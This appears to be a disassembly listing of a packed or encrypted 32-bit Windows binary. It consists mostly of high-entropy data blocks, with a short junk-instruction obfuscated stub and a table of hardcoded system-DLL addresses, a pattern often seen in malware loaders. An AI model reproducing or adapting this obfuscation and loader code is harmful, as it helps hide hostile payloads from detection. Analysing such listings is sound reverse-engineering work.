		dd 99E90000h, 6800000Ch, 61B997Dh, 0F8E95BE9h, 9A7268FFh
		dd 51E9061Bh, 68FFF8E9h, 61B9B48h, 0F8E947E9h, 9BE668FFh
		dd 3DE9061Bh, 68FFF8E9h, 61B9F02h, 0F8E933E9h, 0A18E68FFh
		dd 29E9061Bh, 68FFF8E9h, 61BA2A4h, 0F8E91FE9h, 0EBA6A6FFh
		dd 1687B827h, 3F7A9512h, 275E6CFBh, 484544E3h, 0A56D47C4h
		dd 0B827EBA6h, 910E128Bh, 69F63A75h, 0B5E02457h, 55AE936h
		dd 0BAD955EBh, 35686776h, 534E7A05h, 2256B7CFh,	6FAA8C29h
		dd 7FC349DCh, 0C461DC4Fh, 55E49C75h, 0D888A8Eh,	55E49C32h
		dd 9CDE35D0h, 8BA8964Eh, 3468h,	61804400h, 9290A30Ch, 2F1353F0h
		dd 94CABFF9h, 0CFF330AAh, 0A98773BCh, 0B49849DCh, 3C481784h
		dd 7BC2B341h, 9955E441h, 15DB177Eh, 0A18BA960h,	7, 8452A0Fh
		dd 8B400000h, 72949FDh,	0F06DABA6h, 0F2242853h,	0D45E9099h
		dd 66960507h, 70B4E719h, 708BF110h, 0DCDA7B37h,	767A8C49h
		dd 1CA42516h, 0A1B8D3F7h, 9D29EBA6h, 0E4D7211Ch, 0ED04C355h
		dd 0A8CD3FEDh, 405F8Bh,	80550000h, 75E01B61h, 0F0921928h
		dd 2E449A53h, 0EBAF1DB6h, 6F58DAFEh, 0DCDC50CEh, 9DAD9149h
		dd 0C772B32Eh, 5C55E42Ch, 69242FF8h, 0BE3FF551h, 55E42C8Fh
		dd 4F8BE26Dh, 8BA94AA1h, 0D93Dh, 6567FB00h, 0DF950636h
		dd 554C14E7h, 0C30016AFh, 0D24E617h, 0E918B77Dh, 0CBF887B4h
		dd 1B6440D2h, 453849E9h, 0A3BA2921h, 79DDEDA8h,	909BC3A7h
		dd 24EE3EB5h, 15265577h, 0E9A4A3BAh, 0C57475D1h, 5E53F0C6h
		dd 317838FAh, 53F0C36Eh, 4A413C4Eh, 949E1533h, 4A4143DCh
		dd 5A3BCA32h, 0F0CB6EDDh, 7D61E553h, 2345E14Eh,	9AFE49DCh
		dd 0D41B1361h, 517400B0h, 849FAFDFh, 0B87A4C21h, 137988F8h
		dd 296461F8h, 325FD8EBh, 354FCB59h, 24233A51h, 0B3AA569h
		dd 0A4FA9196h, 2A826303h, 9F418h, 0B7EA1A00h, 0DAD3F473h
		dd 0C3BEC956h, 0EBA2A03Fh, 1489B827h, 11A18B10h, 0EC7BBFF2h
		dd 0C562A6DFh, 0DD4ACEC9h, 412CF0ABh, 0B8EBDFAh, 0CE0555EBh
		dd 356867CAh, 595476F1h, 188B1FD5h, 0F092AC9Fh,	0D1232753h
		dd 43780CDDh, 0DC6C74E2h, 72898D49h, 6EA4DFEBh,	3572ED5Eh
		dd 55E49C06h, 7A7BB99Dh, 55E49CC3h, 5CCF2621h, 9CF544E1h
		dd 0A0E55E4h, 9ABA6008h, 0BEC48BA8h, 0D0000000h, 9C52FD8Bh
		dd 2CC2BFCEh, 0CA48AA9Fh, 80B8F315h, 6DCAD0FFh,	53F04FDEh
		dd 0E0D4D1FEh, 0E140789Ch, 53F04A3Eh, 0BDCA6C9Eh, 284CC8C0h
		dd 52497BE4h, 6B262239h, 813DF753h, 8FBCC819h, 0DC9B042Eh
		dd 55D9BD49h, 7EBFDC2Dh, 55E46BC3h, 0EDA1DCEBh,	0E9364569h
		dd 4FCB0E95h, 0F381BA9Eh, 0CE316A14h, 0D0FE2915h, 1D6C5FD5h
		dd 0F06FB3EEh, 0CE5BDCD1h, 0A2630390h, 8FF784Ah, 0F5150000h
		dd 0D8E976BAh, 0CBC661A5h, 0AFDD4ACEh, 98B730F4h, 0B69A21E5h
		dd 888C0100h, 77BBF21Fh, 5DA1DCE8h, 49CDC0C2h, 0E150DD2Ch
		dd 6255EB08h, 6867EFD1h, 0AAB0635h, 53F0923Fh, 9642D0B4h
		dd 8084F709h, 366567B2h, 0FD3A9506h, 53F0924Eh,	1CB341C5h
		dd 0C87BA4EAh, 4B53F092h, 0D1A8A3C7h, 46C2FAB5h, 0E87704CCh
		dd 3094A4D9h, 66B054E2h, 6FDAF187h, 0FBFFDE19h,	0F93BD36Ch
		dd 0DC668AFCh, 0FA88349h, 55E4873Ch, 9CAFD3B7h,	4DC7C2CDh
		dd 562DF3B0h, 9B6A2BB9h, 151DEEDh, 0C2E6050Ah, 0FF0F8A85h
		dd 74C7609Bh, 8FE61DE0h, 0EF57678Bh, 0D4516A1Eh, 0FC32696Fh
		dd 106F9CE0h, 0FD8CBFEEh, 65182ACCh, 47CD4941h,	0BBF21493h
		dd 29F3F174h, 6B3991B3h, 829h, 0A86C1F2Fh, 9B9F0E3Fh, 8084010Ch
		dd 6EB2E9E7h, 5BDFD2F1h, 3756FCD0h, 1C29B67Ah, 6029D61h
		dd 0E618878Bh, 0BB0673B7h, 0EB09CF7Ah, 850F4455h, 5A216567h
		dd 0DA69702Dh, 5953F092h, 31336407h, 0CDF1FDA6h, 0D82991A9h
		dd 0EC1E9FACh, 6549DCB1h, 7793EAE1h, 54700F3Ch,	0DCECA1A2h
		dd 0A0245478h, 0D39A652h, 72097A92h, 0BBCD5A57h, 0C64CC8C0h
		dd 0E47864D7h, 88B38A55h, 957455E4h, 4B4BD4E7h,	0E34FC88Ch
		dd 35049495h, 0A46E160Fh, 0BFC0F85Ch, 0A0191E8Dh, 0F86305BEh
		dd 78BB280h, 81810000h,	6C9D0A0Eh, 5772ED31h, 3B49D65Ah
		dd 2423BC40h, 3226A569h, 4088584h, 0F3376E9Bh, 0D95D5874h
		dd 0BD413C4Eh, 7DCC69D0h, 0F655EB09h, 61805B5Dh, 1A75E01Bh
		dd 0F092AE9Dh, 0D3212553h, 0DC76E4E2h, 1391D49h, 0CC504D7Eh
		dd 472DA9BFh, 2563FC06h, 650F30EFh, 0F7072B66h,	0FC0F7B8Fh
		dd 0BA891681h, 3955E4D8h, 0ABDEDF55h, 0A855E4D9h, 0C43394A4h
		dd 306D9EADh, 0D892ADECh, 0B15555E4h, 987F3B37h, 7D61E920h
		dd 0F9E9364Eh, 24D943CCh, 0C550DDEEh, 1E55E47Dh, 0CF85F63Ah
		dd 54242B0Fh, 56537E7Eh, 1A2BE032h, 0BCA6B63h, 0B355E406h
		dd 0ED1E2D44h, 491F6CB0h, 0CFA28A91h, 49060C12h, 0C6354538h
		dd 0C7DDEC8Eh, 59DBD20Ch, 0E47E315Ch, 638A6955h, 0A66A2324h
		dd 4D7E0ADEh, 0E47F5EE0h, 5B73D755h, 5DA88DAh, 6AF128E1h
		dd 0CD3215Ch, 0D94795E5h, 0BB57000Ah, 0E4000001h, 0DB1D2C89h
		dd 49962986h, 0C35C403Bh, 56B2CAC1h, 0F48B5ADCh, 4843DCD9h
		dd 5BD93D4Dh, 0C5F68263h, 0DC728A58h, 0B4C74B49h, 6E9FEE59h
		dd 0B2033E3Fh, 478055E4h, 0E3315548h, 9F631A2Ch, 5274FE00h
		dd 83A7235Bh, 4341188Bh, 96CBCA48h, 0F2CC3BEEh,	0D1AEDED3h
		dd 89CDFDB0h, 9F43C72Eh, 98AAD930h, 848621E5h, 6362F209h
		dd 125ECAA2h, 41B9050Fh, 0DBA2D9A5h, 7A3EF4AFh,	0B3947301h
		dd 0A4000FB1h, 3DF3BAAAh, 72807359h, 0C4F4AFDDh, 83FA0857h
		dd 56050F8Bh, 0D808234h, 88BA25E9h, 0FE76E515h,	7AF09655h
		dd 0CEBFC044h, 0FC365ABEh, 31AE1CF1h, 0C1288768h, 0FE0D8082h
		dd 1F2F5E6Fh, 0C2B979BBh, 0E4148FBBh, 138A8760h, 45384A01h
		dd 4D39CD35h, 8D42F13Eh, 86C1AC15h, 9AFE0E8Bh, 1635B276h
		dd 85F0639Bh, 158D2918h, 6CA6AAACh, 0CBC08C58h,	158DDB6Ah
		dd 1C1E50ACh, 2EE6B7F0h, 8A15193Dh, 6AF50578h, 4916265Bh
		dd 128BB83Eh, 0B88DEEEh, 3957AE1Ah, 0BFF6130Ch,	56CCB8Fh
		dd 0C7156ECFh, 0F61A2E4Bh, 0FC0B62D1h, 0D04FD3CAh, 27520DAEh
		dd 4F841867h, 5FAB132Bh, 0B49F1833h, 3FAC157Dh,	3648D75Bh
		dd 1C283747h, 0F336E9Ah, 205B6DFCh, 0C58AD2D2h,	3E6D9FAEh
		dd 375B6DFAh, 157D5BF6h, 5074D8ACh, 99B4CB38h, 0AA68EC1Ch
		dd 0C878F612h, 68B06B06h, 108721F7h, 868BE52Ch,	61CC6962h
		dd 8AAC152Fh, 9D1A7586h, 0AC152FAEh, 27D32125h,	0BEF91554h
		dd 0F0ABA774h, 0C8984DBh, 2A9A98FCh, 112A56B2h,	152FB594h
		dd 0D0F289ACh, 2CDE6DCAh, 0F155AC15h, 5F2347CDh, 656719DBh
		dd 7392F236h, 0BDA9F605h, 3649DC77h, 0BFCE3952h, 42191B92h
		dd 58C74B46h, 0E159712Ch, 0D4477400h, 55C3669Ch, 2A8B0FDDh
		dd 55E4671Fh, 868CB094h, 0C880EB17h, 0E0187C4Fh, 0D979FE41h
		dd 0DCA8395Fh, 0BB4D0AFh, 9AEF76CEh, 85B5D99Ch,	77B0F301h
		dd 45F53377h, 0EB748488h, 0EE5DA2D9h, 865CF175h, 46F0416h
		dd 65650000h, 4879E62Ah, 3B56D155h, 1F2DBA7Eh, 807A064h
		dd 260A9195h, 0F83C7190h, 0E72B626Fh, 0CD514C78h, 0B97D3052h
		dd 71C06DDCh, 0F255EB0Dh, 61805F41h, 6E99E01Bh,	0CBC3BAC8h
		dd 0B7132B4Fh, 0DE5427Dh, 2649DC90h, 4EB92A22h,	0E49352E1h
		dd 0A76DD155h, 0E4931436h, 9D183655h, 0BBF6126Dh, 168C783h
		dd 0CA212C39h, 0A8896288h, 7D7C8Bh, 73010000h
		dd 0F59A23B1h, 1E00125Bh, 0F092B6B9h, 3C799653h, 9364880Ch
		dd 51E04DB8h, 0D253F092h, 0D5F7A46Eh, 0C72262A6h, 0E2582B9h
		dd 0E253F092h, 0C108EA92h, 28EA142Bh, 8838FD8h,	798BD4E4h
		dd 6386FE02h, 92B9E615h, 153F0EFh, 50720D3Dh, 5CA9D95Dh
		dd 839A1B30h, 0C853F0EFh, 4AF53444h, 9253F02Ch,	0FDA4CA3h
		dd 72ED4A41h, 0F953F02Ch, 0B85B9195h, 68000000h, 83BBF611h
		dd 8B0B0D07h, 0ADDDD8F4h, 32D3EB29h, 0EAE83546h, 0B49DC76h
		dd 0A5D5D0FCh, 720D3D21h, 0ACD45855h, 9213285Ch, 55E4B1A3h
		dd 0B7245438h, 1C78B7A1h, 0C64CDF1Bh, 0E42369D7h, 254C8B55h
		dd 0A93A07D5h, 6D978Bh,	8B1D0000h, 57DDD8F4h, 0C0FB8F5Fh
		dd 0DCC5F5B0h, 9633B818h, 6D53C5C2h, 0A7D6F77Dh, 0E9367183h
		dd 53F0B45Ah, 3A4575D9h, 0F48C900Dh, 0CA6B6014h, 53F0B5A3h
		dd 0B186790Fh, 0CD356EB3h, 2F5F2347h, 0F04EBF8Eh, 61886753h
		dd 8103B6CEh, 235D5B2h,	0CE9DAC09h, 321653F0h, 483CCCE0h
		dd 0CF9BF233h, 0AC9053F0h, 0BB62C99Fh, 1635CF37h, 679E541Ch
		dd 4F053665h, 54051320h, 318D87EBh, 9D611C2Eh, 5B7004E5h
		dd 0DC5110DAh, 4575D949h, 0E4D159E4h, 355CBB55h, 0A8CBF725h
		dd 34878Bh, 802D0000h, 47E01B61h, 49DC6CD7h, 95142428h
		dd 55E49CAAh, 0A027F8Ah, 9C2D1C99h, 0A2A655E4h,	31494445h
		dd 0CB4FA629h, 0DA187F9Eh, 8BA89B14h, 0C6A2h, 65670E00h
		dd 4A460536h, 0E21A93B4h, 0F4B04266h, 29215C6Bh, 0EEA5A3BAh
		dd 0E3B87ADEh, 0C170BDE1h, 4253F092h, 31A2DAFEh, 91631E2Ah
		dd 51D5C8FAh, 0F0975508h, 98133553h, 82F90B94h,	7EF3128Ah
		dd 53255550h, 2CEC915Fh, 35597D58h, 15D59906h, 3A1E49DCh
		dd 97F8EF6h, 25606BF2h,	1361DCEFh, 0E1FA11D1h, 0BBE7549Ch
		dd 7BBCA242h, 0D6D0DD57h, 2F4FCB5Fh, 3A49102Bh,	0B1C8C347h
		dd 451A1893h, 5FC44B46h, 636303A3h, 1E3390Bh, 0D9E90000h
		dd 0C4C562A6h, 0AFDA45C9h, 93B12EF2h, 7C8B1418h, 5A7EFD01h
		dd 5CA0DDECh, 4BCFC6C3h, 31F5B0DCh, 151994B6h, 95A40178h
		dd 2E55EB33h, 686723E5h, 5476F135h, 8B1FD559h, 92AC9F18h
		dd 232753F0h, 780CDDD1h, 6C74E243h, 898D49DCh, 3B710772h
		dd 30F108A0h, 8B182B32h, 0B79B55E4h, 5DE0417Dh,	0BF55E48Bh
		dd 0F3393950h, 438BA8A5h, 57690B3Ch, 8C080024h,	61A14A9Ah
		dd 4CC6F21Fh, 0DBB3h, 65677900h, 0A3C7C2CDh, 232138ABh
		dd 3EF45068h, 0B2D46261h, 733B2609h, 0ACD03309h, 0E414389Ch
		dd 0F07D9A45h, 27C8FA53h, 0C1FF4256h, 265D6B0Ch, 6A8EB216h
		dd 940739A6h, 5D68F764h, 0BDAD220h, 2DE14E7Dh, 0C649DC22h
		dd 52CDBE42h, 0E4E866D5h, 8799FD55h, 99E87ECBh,	7448CA73h
		dd 4BD4E795h, 4FCBFF2Eh, 0D34E7DC1h, 0CDF47F8Ch, 0B2B5CFCh
		dd 855AD8FCh, 69F00B86h, 5C2A225Dh, 0B5086D21h,	48CAEE5Bh
		dd 0BDF01F88h, 4AD1F7Ah, 7547B763h, 0CDh, 44C8C3C3h, 2FF3AADBh
		dd 141895B0h, 2067D8Bh,	0E72B6665h, 0C3C27064h,	0B0DD4ACEh
		dd 9AB631F5h, 7A8C1B1Fh, 2F92FF03h, 0EB30B38Eh,	19833055h
		dd 0F1356867h, 32502F9Ah, 86C7437Bh, 53F0924Bh,	11CE44C8h
		dd 0BA78BCEFh, 0C0C46567h, 3AFA6BDCh, 0DB0BCF21h, 0F51AAC18h
		dd 0A4A6B9D1h, 8C5D25E9h, 0C62C3F8h, 2549D41Bh,	645A2A21h
		dd 2F2FD716h, 0CAC620F6h, 0D57192EDh, 0EE106F5Fh, 94118CBFh
		dd 55EC94A5h, 18D85A3Eh, 0B2EB1C63h, 27F43E9Ah,	0E7467625h
		dd 8C657755h, 0A77A917Eh, 3EF4A9D8h, 1F2C5F61h,	0A86B8B49h
		dd 0F43E9C65h, 0EAA1A33Ch, 47F8DD2h, 4DA493F4h,	8D910C3Eh
		dd 8DBDF012h, 4F3E4F1Eh, 35BC5h, 8CD10000h, 346767A6h
		dd 52497B04h, 6E29253Ah, 8904015Eh, 0A2DFEE71h,	0FBB6D5AAh
		dd 178EBCC3h, 306D98E7h, 57464718h, 66681F27h, 5400001Dh
		dd 8324048Fh
		db 4, 24h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	0ECDh
		mov	[esp], ebp
		push	7B324C35h
		pop	edx
		xor	edx, 1B1E5EB7h
		dec	edx
		add	edx, 0A5EF8540h
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	6297h
		mov	[esp], edx
		pop	dword ptr [ebp+8]
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		db 0CCh
		dd 1BA396B8h, 0FFC50306h, 6BF4DDE0h, 4937874Eh,	0A5CBA538h
		dd 0C8373F4Ch, 0FCBF290Eh, 0B29B8F71h, 11EA6C59h, 0E2BF423Bh
		dd 242FD08h, 0F72E3E35h, 0A1F6C53Ch, 30A4CC65h,	0CE130E08h
		dd 53D2713Eh, 0EEFF135Eh, 0D69E0C78h, 6EF62B31h, 2C7CA673h
		dd 92F89343h, 451B0916h, 0EC62D617h, 0B9C673Fh,	0CF0E0006h
		dd 569AA37Eh, 0ADA7E574h, 6DE32B5Dh, 0F823F923h, 81F7734Ch
		dd 99EB596Ah, 1151F55Fh, 29877F7Eh, 0BE820h, 2D610000h
		dd 5199ECAAh, 0CD5A8F0h, 0F58F5C5h, 1289h, 0DE900h, 460A0000h
		dd 0D5C0AFB9h, 0FDC3EC74h, 81AC6A75h, 0DE3FC0h,	68F800h
		dd 0E9000000h, 0Dh, 0F04E443Ah,	17454D8Fh, 9B2993C6h, 81665FD9h
		dd 8BCEFFEEh, 0BEB9381Ch, 8109C5D5h, 250010F3h,	0E5BA512Ch
		dd 5922995Bh, 167FF381h, 8B6674B4h, 0C3C381F7h,	8925B995h
		dd 0BF0F381Ch, 0BEEF81D6h, 57174504h, 8ADE8166h, 0C781593Fh
		dd 174504BAh, 30C68166h, 58FF812Bh, 0FFFFF22h, 0FFFFB285h
		dd 0CDB966FFh, 11E8ECh,	51360000h, 580C3217h, 0C2BF5AD0h
		dd 0F6110EACh, 0BBB887AAh, 5D6FCA64h, 14E85Fh, 0DA310000h
		dd 6B301D95h, 86D2403h,	25FAB58Ah, 6D3ED502h, 0EA80788Ah
		dd 0C7815AE1h, 7165h, 5BF6660h,	12E9ABh, 7CCD0000h, 6CCF1AB1h
		dd 0CADA6482h, 0FE480086h, 526D3610h, 0B3F62B61h, 37048B42h
		dd 81E9DA80h, 711465F0h, 81DA8B56h, 0FD991F0h, 58FCBA4Dh
		dd 0E8810CD0h, 389181CDh, 0AE9h, 65F51F00h, 33D67D9Ch
		dd 89AB0AD7h, 0F98A3704h, 6820F57h, 81000000h, 0AE6CE3E9h
		dd 0EE815A3Ch, 55F26ECDh, 81A9D980h, 0F26EC9C6h, 0FEE6BB55h
		dd 0FE81316Ah, 0FFFF8F5Ch, 0FF9F850Fh, 890FFFFFh, 3, 0E960D780h
		dd 0ECh, 0
		dd 7C810637h, 7C81CE03h, 7C80C058h, 7C901005h, 7C9010EDh
		dd 76F20000h, 2, 5 dup(0)
aAna		db ' ­€|',0
		align 10h
		dd 2Bh dup(0)
		dd 6, 1611ED14h, 3211A2A3h, 0B11A6611h,	3215668Fh, 3214E44Bh
		dd 0B1ED6622h, 260597ACh, 3B60668Eh, 3C30DBC7h,	46156036h
		dd 0B9463608h, 3604DE48h, 0B79C6644h, 34017E3Bh, 9547FB9Ch
		dd 0E1EA609Eh, 8F963E1Fh, 34016807h, 62021211h,	3604DEDBh
		dd 0B79C6644h, 34017E3Bh, 9654FB9Ch, 0E1EA609Eh, 0B51A3E1Fh
		dd 32156636h, 321569F8h, 0D6298588h, 8AD897DAh,	61603A6Ch
		dd 428A9578h, 0F49C307Dh, 1611E712h, 27A871B6h,	25814B49h
		dd 524B7335h, 16A8E525h, 32137D84h, 3244E21Eh, 0B51A6688h
		dd 3215664Dh, 54AED242h, 241B8D90h, 9D90EBE9h, 52137D28h
		dd 0C37DC29Dh, 8BC7E63Dh, 0DBC599E9h, 3215664Fh, 0DF532083h
		dd 9DD20E02h, 0BFF50FC6h, 2979B9C1h, 321D8F24h,	0EAE46611h
		dd 0C711D6A6h, 0E2EA5078h, 0FA9F0642h, 53DCD91Eh, 0F4748E02h
		dd 261D2FC1h, 23FC3024h, 0CB156611h, 0B4F55896h, 8111A0BAh
		dd 0BCAFBAF1h, 8A3C3834h, 9AAD34E0h, 2C9C69D8h,	3D156622h
		dd 32157E9Dh, 32068F88h, 769D6644h, 0FFFE3A06h,	4813C48Bh
		dd 0EBDD5E51h, 9263D31Ah, 57A09984h, 5213723Dh,	0DBEDEDEEh
		dd 32156649h, 207890F8h, 68C915F7h, 33B5A12Bh, 0B798071Eh
		dd 34021EDCh, 0C5C3E671h, 3DC599E9h, 321570CCh,	32048F22h
		dd 0A336611h, 7770B287h, 0A1FB21FBh, 46BBA193h,	5264023Eh
		dd 54F1A608h, 5337B3FDh, 2C1CE3ABh, 3D756005h, 32156007h
		dd 0F8FDE744h, 0B237EB79h, 0F57425E2h, 263F9B0Dh, 32156642h
		dd 32108F22h, 1A3B6611h, 0F4D8B629h, 261D2FC1h,	54752324h
		dd 626A6EA8h, 534E07E8h, 407C0F2Ch, 32138FACh, 0A0736611h
		dd 0CB2EAAC8h, 3E38D3BBh, 20FC6036h, 0F156611h,	5B001F6Ch
		dd 1F66EBD9h, 51B0A5F6h, 3FAE6772h, 0B7989AA8h,	34015D0Ah
		dd 321560CBh, 0DBF18B11h, 0CDE8E370h, 0CB750694h, 32018F43h
		dd 0EED76611h, 3D3D7A93h, 65966B00h, 0ADBA92Eh,	55F1D5F6h
		dd 0BB746E06h, 260EEFC1h, 0B3730624h, 0CBCCFAF3h, 0B7D39AE9h
		dd 34016E0Dh, 6C7D9A61h, 3D89017Ah, 3215410Ch, 3CFD0644h
		dd 99156622h, 950172C2h, 2548454Eh, 9300070Ah, 3EFC3F99h
		dd 1156611h, 2415327Eh,	7B9ECCE6h, 536A3995h, 3E38D3EEh
		dd 3D75609Ch, 321563C4h, 0C4FEDF22h, 53E972D9h,	95BE305h
		dd 3AFC6050h, 9C156622h, 0CF0E0DF9h, 0CD8327D5h, 321B8F94h
		dd 131E6622h, 21331F96h, 0B2AE58F3h, 0A076F8C2h, 9419E3ABh
		dd 0B41A600Ah, 32156689h, 7B90A0B1h, 6613722Ah,	3212EC1Eh
		dd 0B01A6688h, 32156645h, 5A3C0EDAh, 3D758873h,	32156B09h
		dd 32128E44h, 0D8F56622h, 2F6D2529h, 0CB9E3E3Dh, 3A966925h
		dd 3D156622h, 3215649Bh, 0CD740688h, 26194BF1h,	3A976924h
		dd 3D156611h, 3215640Dh, 0BF740644h, 262E28A7h,	3F9A6917h
		dd 0DB156688h, 3215664Ch, 0D9CF81FBh, 85E0E7E2h, 34FCB677h
		dd 0E0156644h, 0A866C2DAh, 2290EF19h, 0CE137D2Eh, 3A5CE382h
		dd 3D506036h, 32156E94h, 30966988h, 52156644h, 0AD70E43h
		dd 0BD1ABC71h, 32156682h, 3D4A3024h, 321566A4h,	87EA0711h
		dd 34016AA5h, 3202ED4Bh, 0DA756622h, 3215661Ch,	57548C33h
		dd 194F3224h, 58FD6A6h,	6D423FB8h, 32018FE9h, 7E9E6644h
		dd 0D814C68h, 0DD65B69Fh, 779B7CFEh, 3E4E036Eh,	0B79829B1h
		dd 34015D5Fh, 0CAC59971h, 2690EFB8h, 52137D84h,	3210E21Eh
		dd 0BEAB6688h, 3D27C393h, 0B174BC9Dh, 2614ABACh, 0B71A668Eh
		dd 32156776h, 32156BCBh, 0E537DC11h, 3FA6584Bh,	8FF4C4Ch
		dd 0B7D380FCh, 34016E58h, 279069CDh, 0DB156644h, 32156632h
		dd 348CDD6Ch, 14FB96EFh, 7671324Eh, 2887B6E2h, 126BE079h
		dd 0CDE99A72h, 26194BF1h, 32188F24h, 11C46611h,	4418EF5Eh
		dd 0DEC665ACh, 0BFDF3232h, 262E2894h, 0BE1A068Eh, 32156644h
		dd 0CE749AA8h, 20FCB6EEh, 56156688h, 19B717CBh,	0DA87384Eh
		dd 0FEA5004Eh, 6FF70C83h, 2A90EFC4h, 52137D84h,	0FE54DE77h
		dd 53CFEDEEh, 3A5CE382h, 3D596036h, 32156790h, 0F17D9388h
		dd 0CAF54094h, 321A8E42h, 54106611h, 2F959EB6h,	77F7A449h
		dd 9129D654h, 89C5E790h, 682037E9h, 3213EC4Bh, 0B41A6622h
		dd 32156611h, 1FA099E9h, 0DB137248h, 3215662Bh,	0C0EB7C97h
		dd 6D6FD26Bh, 7C90EB5Ch, 3D137219h, 32156790h, 0E2EA9F88h
		dd 2E90EFB1h, 52137D84h, 405F67AFh, 3F9469B9h, 0DB156644h
		dd 3215662Ah, 3A9B01F5h, 8235D49Dh, 33148F25h, 0DB756622h
		dd 3215661Fh, 0BAD8278Ah, 0AAC79779h, 6A0BED63h, 0B71A2AB3h
		dd 3215668Dh, 1BF180FFh, 0B7D30772h, 34016E58h,	0DBE006DAh
		dd 3215664Dh, 0C292546Ah, 2119BDDFh, 3F7D07B1h,	0CEA92CA0h
		dd 32BCD3DDh, 8A756005h, 1627DC07h, 0BF74B6CFh,	262E28A7h
		dd 321A8F17h, 4D8B6688h, 0A0AEC605h, 0BBBD4A1h,	0A242B1C7h
		dd 38996910h, 52156644h, 3215EB2Dh, 0EFA76611h,	52C599E9h
		dd 26FC34BDh, 0A7156622h, 58D85DD1h, 0D1CA4B9Ch, 0B350D917h
		dd 663E6C75h, 6DA09876h, 2A90EFE9h, 3D137DE2h, 321567A6h
		dd 0B7D39E11h, 34016EC1h, 7A7D9E16h, 3DB32A68h,	32156198h
		dd 339F6988h, 0CE156644h, 32BCD3DDh, 0B41A6005h, 32156691h
		dd 0F19E0024h, 321568CAh, 4818A311h, 0E9EE916h,	9643C308h
		dd 6B011023h, 7C90EB70h, 521372B3h, 897397CFh, 0CD7457F9h
		dd 0B79C93C1h, 340EC094h, 3214E04Bh, 0F4EC6622h, 261D2F94h
		dd 0B975348Eh, 309E69B6h, 52156622h, 0D87D0770h, 3DE8243Ch
		dd 321571CCh, 32078F22h, 5A636611h, 99EAAB8h, 270419AAh
		dd 43EE40F3h, 2766267h,	3E38D377h, 37FC6050h, 0D7156622h
		dd 0A17606Bh, 95BE305h,	0CDED6050h, 0B79C93F2h,	34014304h
		dd 321E8FE8h, 74586644h, 541EAED8h, 5E29CD85h, 0CC9E00D1h
		dd 3A9F6925h, 52156622h, 54CFD11Eh, 0F4749E03h,	261D2FC1h
		dd 5AEC1124h, 0C182CEB2h, 34FC0674h, 0C156644h,	9AFBFCA3h
		dd 0FCAA69A2h, 57A099E9h, 0CE13726Dh, 95BE3AFh,	34FC6005h
		dd 0C6156688h, 3CC3686Fh, 52C599B9h, 36CDE777h,	379E6965h
		dd 89156644h, 7E8A7CA6h, 4790EF70h, 52137299h, 321568ADh
		dd 460CFD22h, 0A70E6561h, 2ED2197Ch, 0CE656950h, 7B90A043h
		dd 60137219h, 0FAC4E7E8h, 3D3B3DA1h, 5A749E9Dh,	0B8C85706h
		dd 3214E887h, 0CEE96644h, 3E38D3DDh, 0B9756005h, 32138F50h
		dd 41716644h, 0DCEC9F8h, 7C90EB70h, 521372B3h, 32198F17h
		dd 589F6622h, 0A252475Ah, 33ED9320h, 0B34FE606h, 0CCDACAC3h
		dd 0CDE00775h, 0B79C9E58h, 340178B1h, 32156ACBh, 45491611h
		dd 4B99D138h, 6141469h,	7B90A063h, 64137219h, 321B8EE8h
		dd 0BF696644h, 0BA0F46DEh, 7A104A21h, 997E3EC5h, 0B3733DB1h
		dd 53B356D2h, 2D785F79h, 2294695Ch, 0DB156644h,	32156629h
		dd 52EE6140h, 0DBC5FB02h, 0CD21F058h, 26390397h, 0B7989E17h
		dd 34021E76h, 0C19E0024h, 0E2EA07DEh, 32068F71h, 0B5AB6688h
		dd 2C4A3688h, 0BA767AE6h, 0C7CB272h, 7059C511h,	0F39E0059h
		dd 1390EF43h, 0CA13721Dh, 3A5CE34Eh, 52526050h,	8AE5E744h
		dd 0C89E00EDh, 226F0EE9h, 3BFCE798h, 4D156622h,	0E857C576h
		dd 7EAF4CF0h, 3E38D3BBh, 0BFE06036h, 262E2894h,	3A96698Eh
		dd 3D156644h, 321564AEh, 0CD740611h, 32138F58h,	639D6644h
		dd 0ABC458D3h, 0E390EFEDh, 3D1372ABh, 321568C0h, 0B41A0622h
		dd 32156611h
		dd 9C388509h, 0F4747BBDh, 261D2FA7h, 3DEC2117h,	32157F0Ah
		dd 32018F44h, 66656622h, 9C3F42FBh, 0E0BA169h, 392320D5h
		dd 0BF99CDE6h, 0D07D7B1Dh, 3D9F693Dh, 321560CEh, 3EA50622h
		dd 0DB743941h, 32156680h, 0D84B928Ah, 50CEF234h, 3E38D3EEh
		dd 0B01A609Ch, 32156650h, 321569CBh, 0A9198511h, 0BFEAC51Ah
		dd 36072D09h, 330750EDh, 95BE39Ch, 0CE75609Ch, 3DC59925h
		dd 321567ACh, 0B79C9F11h, 340EC0B4h, 33926924h,	0CB156622h
		dd 8F90A170h, 4A1372A7h, 3D156644h, 321567AAh, 0B1E09E11h
		dd 261AEF35h, 0B61A6642h, 32157E83h, 32156CF8h,	61C54188h
		dd 0ADDEDF5Eh, 0C75AE2BAh, 3A5CE3D7h, 0CA59609Ch, 0E8098F2Ch
		dd 87EA9EFBh, 34016A3Ch, 3219E987h, 35FC6644h, 90156622h
		dd 371891Fh, 0B7981F89h, 34015D0Ah, 3212E22Dh, 0B71A6611h
		dd 32156689h, 0CBC599B8h, 943DE3ABh, 0B21A600Ah, 32156689h
		dd 7B90A0B1h, 7E13722Ah, 0B41A9371h, 3215668Ah,	5A740724h
		dd 0EF61B8ECh, 32AD0071h, 321B8E99h, 2DC16644h,	217CD5F8h
		dd 6A237375h, 4718A8C2h, 6AC7D94Bh, 1FA09943h, 0DB13721Dh
		dd 3215668Fh, 2AA2BA7Ah, 0BFE6CCD8h, 262E2894h,	22FC068Eh
		dd 53156644h, 0E2ED082Ah, 18043CABh, 868C0F01h,	3D0D082Ch
		dd 321564A5h, 53CBED11h, 37FCB677h, 0FA156644h,	733A11D3h
		dd 9439E398h, 3FFC6093h, 1B156644h, 9A6800E0h, 0B06BEE69h
		dd 0F5943346h, 3A5CE382h, 52596036h, 3DD4ED77h,	3215670Bh
